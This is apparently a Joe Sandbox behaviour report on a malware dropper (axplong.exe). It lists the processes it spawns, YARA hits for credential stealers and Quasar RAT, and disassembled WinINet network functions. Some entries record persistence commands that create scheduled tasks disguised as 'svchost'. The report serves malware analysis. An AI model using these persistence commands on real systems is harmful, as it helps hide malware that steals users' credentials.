Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.2813138912.00000000032D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000014.00000002.2811418680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000014.00000002.2811418680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.2811418680.00000000004A6000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	01:07:05
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1000210001\build16666.exe"
Imagebase:	0x7ff6c3320000
File size:	1'743'872 bytes
MD5 hash:	4640FAEAFA95CE219C649E9F5CBFFD75
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	01:07:12
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe"
Imagebase:	0x870000
File size:	424'960 bytes
MD5 hash:	07101CAC5B9477BA636CD8CA7B9932CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2795620246.0000000000871000.00000020.00000001.01000000.00000016.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000000.2774604502.0000000000871000.00000020.00000001.01000000.00000016.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	01:07:14
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"
Imagebase:	0xe00000
File size:	424'960 bytes
MD5 hash:	07101CAC5B9477BA636CD8CA7B9932CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000000.2792505057.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.4455767208.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	01:08:00
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
Imagebase:	0xe00000
File size:	424'960 bytes
MD5 hash:	07101CAC5B9477BA636CD8CA7B9932CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.3260194667.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000000.3249458796.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	01:08:52
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe"
Imagebase:	0xec0000
File size:	304'128 bytes
MD5 hash:	A20FC3377C07AA683A47397F9F5FF355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000019.00000000.3774634677.0000000000EC2000.00000002.00000001.01000000.0000001A.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	01:09:00
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
Imagebase:	0xe00000
File size:	424'960 bytes
MD5 hash:	07101CAC5B9477BA636CD8CA7B9932CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.3861449673.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000000.3849994852.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	01:09:01
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000241001\see.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1000241001\see.exe"
Imagebase:	0x330000
File size:	550'912 bytes
MD5 hash:	CD65AA14F5B3B1C266D82BA09B42FF86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	01:09:04
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000243001\ZharkBOT.exe"
Imagebase:	0xfa0000
File size:	922'112 bytes
MD5 hash:	CD2DD54E31B33E1FEDECED94367CD942
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	01:09:04
Start date:	13/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F
Imagebase:	0x6e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	01:09:04
Start date:	13/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	01:09:05
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe"
Imagebase:	0x940000
File size:	922'112 bytes
MD5 hash:	CD2DD54E31B33E1FEDECED94367CD942
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	01:09:07
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe
Imagebase:	0x940000
File size:	922'112 bytes
MD5 hash:	CD2DD54E31B33E1FEDECED94367CD942
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	01:09:14
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe"
Imagebase:	0x940000
File size:	922'112 bytes
MD5 hash:	CD2DD54E31B33E1FEDECED94367CD942
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	01:09:14
Start date:	13/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN espartu.exe /TR "C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe" /F
Imagebase:	0x6e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	01:09:14
Start date:	13/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	01:09:16
Start date:	13/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xb40000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	01:09:19
Start date:	13/07/2024
Path:	C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe"
Imagebase:	0xf60000
File size:	2'981'888 bytes
MD5 hash:	E634EE541D4D4911DABDDAC835517559
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	01:09:22
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe"
Imagebase:	0x940000
File size:	922'112 bytes
MD5 hash:	CD2DD54E31B33E1FEDECED94367CD942
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	01:09:26
Start date:	13/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"schtasks" /create /SC MINUTE /MO 1 /TN "svchost" /tr "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe" /rl HIGHEST /f
Imagebase:	0x6e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	01:09:26
Start date:	13/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	01:09:26
Start date:	13/07/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe"
Imagebase:	0x1b0000
File size:	2'981'888 bytes
MD5 hash:	E634EE541D4D4911DABDDAC835517559
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	01:09:33
Start date:	13/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:
Imagebase:	0x6e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	01:09:33
Start date:	13/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 05030CF0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045877967.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_mlk3kK6uLZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6a024b9fb0e9af37293a476db68fc9f5cb57cb0010da63024b859faa75c8808
Instruction ID: 09a3cbdbc3c930215d5dacab9cc62dcd52e083e024f9474c2e71d44599beb2a6
Opcode Fuzzy Hash: d6a024b9fb0e9af37293a476db68fc9f5cb57cb0010da63024b859faa75c8808
Instruction Fuzzy Hash: 3EF0A4BF14E915BEE342C0857E3AAFE27EFE6C17307308456F807C9901D6A099595271

Function 05030CBA Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045877967.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_mlk3kK6uLZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ab085e280f6be0ef629848312fbd19326a932ac596275e30da1d9433151fae6
Instruction ID: d9296eaab75e79fc427b9b98d9492d7e2926a5e3efd6f078256a07c4272de9bb
Opcode Fuzzy Hash: 8ab085e280f6be0ef629848312fbd19326a932ac596275e30da1d9433151fae6
Instruction Fuzzy Hash: 152137EF14E511BDE702C5547A6AAFE3BAFE6C2630335886AF842C6506E2558C4A8271

Function 05030CB3 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045877967.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_mlk3kK6uLZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 025d4aaa5806211451a2e0c1be166a012f8cc3f8f3b6057cee72d3d876beccbd
Instruction ID: 7a66f03ddd8b50ac8dfdd4d662262f79b3710dcbb13dd54c0d44b0bb1a267771
Opcode Fuzzy Hash: 025d4aaa5806211451a2e0c1be166a012f8cc3f8f3b6057cee72d3d876beccbd
Instruction Fuzzy Hash: 9701B9BF14E915BDE342C5453A3EAFE27DFD1C16307348476F807C6901D29499595271

Function 05030CFB Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045877967.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_mlk3kK6uLZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 678273028eef5a3aea7308e21ff6b512d96f194cbfea310746a975bc2d0cf395
Instruction ID: 51529a5c2f3b2f158a0244d99a93ce8424cbed16b4a85a59a158017f77629ce8
Opcode Fuzzy Hash: 678273028eef5a3aea7308e21ff6b512d96f194cbfea310746a975bc2d0cf395
Instruction Fuzzy Hash: 8A01F1BF14EA10AEE391C5857A2E6FF33EFF6D2330730842AF802C5901E6A599495271

Function 05030D1E Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045877967.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_mlk3kK6uLZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 961784b740250666a4b81ed16c293fd7d37822e02d40077a635ff077bd2dbe32
Instruction ID: 21d0d1496b04a29127eaa3dc15b1078dc83cb2353096bc93d4d34da8e2ced9b6
Opcode Fuzzy Hash: 961784b740250666a4b81ed16c293fd7d37822e02d40077a635ff077bd2dbe32
Instruction Fuzzy Hash: 44F0F0BF14E910BEE342C0857A3AAFE27EFE2D0330770C417F807C5901D2A09A595232

Function 05030D29 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045877967.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_mlk3kK6uLZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 898cd7bc68ec175da4ed4f8571e991c3f958a94f589f71851c2c2c29179b93b7
Instruction ID: cf1a1b5f03025ab4c81fc1870520303f068f595d39660f525dfc7e4b9b9f7ffb
Opcode Fuzzy Hash: 898cd7bc68ec175da4ed4f8571e991c3f958a94f589f71851c2c2c29179b93b7
Instruction Fuzzy Hash: 70F090AF10D811BEF381C5497A2AAFE53EEE2D1730334C417F843C5901D6659A5A6271

Function 05030DC2 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045877967.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_mlk3kK6uLZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08844efaef5015b035bf0c9e1efc98e00ee2d8ebec54aeacebde5a8fdbdfd3c6
Instruction ID: c6078a23aee261b15cc7ab5d1833f1e801f502b2736c862c1e6a5ef5b33d4089
Opcode Fuzzy Hash: 08844efaef5015b035bf0c9e1efc98e00ee2d8ebec54aeacebde5a8fdbdfd3c6
Instruction Fuzzy Hash: 89F027AF24E910ADE342D0493B3AAFF6BEEE6C1730330841BF843C8D01C2945A5E5272

Function 05030D52 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045877967.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_mlk3kK6uLZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6d8de9d19181a0e9c951cdd33ec2718a5b15c993faddad449c4df5b38aa69c
Instruction ID: b239ecb3f65ba70c7bc1df8a347fe8dcff45f65d88b691ecf82ec94d32949db5
Opcode Fuzzy Hash: 3e6d8de9d19181a0e9c951cdd33ec2718a5b15c993faddad449c4df5b38aa69c
Instruction Fuzzy Hash: 1AF0E2BF20DA107EF341D0897A7A6FE979ED6D5330730C46BFC43DA806D29509595172

Function 05030D47 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045877967.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_mlk3kK6uLZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d570524a371d2e98a59fcc10e8fcad982a1bed70298aa78788f3014c900ab52
Instruction ID: 944a2942fa98b80de80f2e20efab49e977380e59af4c67c628281e7b1c2afd8a
Opcode Fuzzy Hash: 7d570524a371d2e98a59fcc10e8fcad982a1bed70298aa78788f3014c900ab52
Instruction Fuzzy Hash: D3E06DAF24E921AEF341C1457E7AAFF63EED2C0730330845BF883C4905C6A55A9E6132

Function 05030D72 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045877967.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_mlk3kK6uLZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fee8cd4087893b50fc6d414f29525c7b6aa2c6f6b0414c13875bdb2014a5b2d7
Instruction ID: c4e1daa19178e4a71ccc2817cd9dd411f96a73aeb66f2773075f6fbdf3098583
Opcode Fuzzy Hash: fee8cd4087893b50fc6d414f29525c7b6aa2c6f6b0414c13875bdb2014a5b2d7
Instruction Fuzzy Hash: 87F0E9BB54E550AEE38281457D6A5FE77EEDAC5230330849AF882C5805C25516595132

Function 05030D90 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045877967.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_mlk3kK6uLZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cb71ed0c4ae96cfcfab97240243be0816a952a1728b0f45d5d98d6212724bcf
Instruction ID: 34775feaeadee877a9ccaa41cfffdb5251b754c199cd8f0515b7dc0533011799
Opcode Fuzzy Hash: 7cb71ed0c4ae96cfcfab97240243be0816a952a1728b0f45d5d98d6212724bcf
Instruction Fuzzy Hash: D9E0DFEB54C9117CF242C0493E6AAFF43EEE1C17303348667F863C9A82C3894A5E1132

Analysis Process: axplong.exePID: 6360, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.5%
Total number of Nodes:	1835
Total number of Limit Nodes:	104

Executed Functions

Function 009CBD30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00A18D18,00000000,00000000,00000000,00000000), ref: 009CBDBD
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 009CBDE1
HttpOpenRequestA.WININET(?,00000000), ref: 009CBE2A
HttpSendRequestA.WININET(?,00000000), ref: 009CBEEB
InternetReadFile.WININET(?,?,000003FF,?), ref: 009CBF9D
InternetReadFile.WININET(?,?,000003FF,?,?,?,?,?), ref: 009CC051
InternetCloseHandle.WININET(?), ref: 009CC077
InternetCloseHandle.WININET(?), ref: 009CC07F
InternetCloseHandle.WININET(?), ref: 009CC087

Strings

SbKm, xrefs: 009CD4E6
invalid stoi argument, xrefs: 009CE3D4
StYMTE==, xrefs: 009CBE03
9wGTaLGWQy9=, xrefs: 009CC355
9wGTaHilQw==, xrefs: 009CC2BB, 009CC513
stoi argument out of range, xrefs: 009CE3CA

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID: 9wGTaHilQw==$9wGTaLGWQy9=$SbKm$StYMTE==$invalid stoi argument$stoi argument out of range
API String ID: 1354133546-230317815
Opcode ID: cfae0d33e3f36eeaa4c7e76b43685ca6003f9fe4b761c307a7b4db3f7cce8d0d
Instruction ID: c766fd96bc6bd625d2a77946a805caf8e580ec0fa415c3d4fc3bb7be929a45c2
Opcode Fuzzy Hash: cfae0d33e3f36eeaa4c7e76b43685ca6003f9fe4b761c307a7b4db3f7cce8d0d
Instruction Fuzzy Hash: 94B1E5B1A001189BDB24DF28CC85BAEBB79EF85304F5045ADF508972D2D7759AC0CF96

Function 009DD2E8 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 009C23BE

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 3f8f47cfe4027f06d416de88fbe652d1ba10c0653b8f8076bfd6827ac1611ca7
Instruction ID: c13c4dff7cf65839789baa3db2ba437bfcbaebe722840f10dd252ee387b219bd
Opcode Fuzzy Hash: 3f8f47cfe4027f06d416de88fbe652d1ba10c0653b8f8076bfd6827ac1611ca7
Instruction Fuzzy Hash: 4151BEB1D026059BDB25CFA9D881BAEB7F9FB18320F24C52BD415EB390D3349942CB60

Function 009D3520 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 009D422F

Part of subcall function 009D7840: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 009D792C
Part of subcall function 009D7840: __Cnd_destroy_in_situ.LIBCPMT ref: 009D7938
Part of subcall function 009D7840: __Mtx_destroy_in_situ.LIBCPMT ref: 009D7941

Strings

WRQd, xrefs: 009D3D90
Xvml, xrefs: 009D3BA9
246122658369, xrefs: 009CF617, 009CF8F4, 009D04C7, 009D087A, 009D1E75, 009D27BE, 009D2A13, 009D2A80, 009D2E58, 009D3343, 009D33A4, 009D4F0A, 009D4F1D, 009D4F5F, 009D4F69, 009D54C4
invalid stoi argument, xrefs: 009D2DB9, 009D2DC8, 009D422A, 009D4E6D
wNZ, xrefs: 009D5321
Wb Z, xrefs: 009D5417
e76b71, xrefs: 009CFA6E, 009D5459
SBZ, xrefs: 009D5440
XvPZ, xrefs: 009D5373
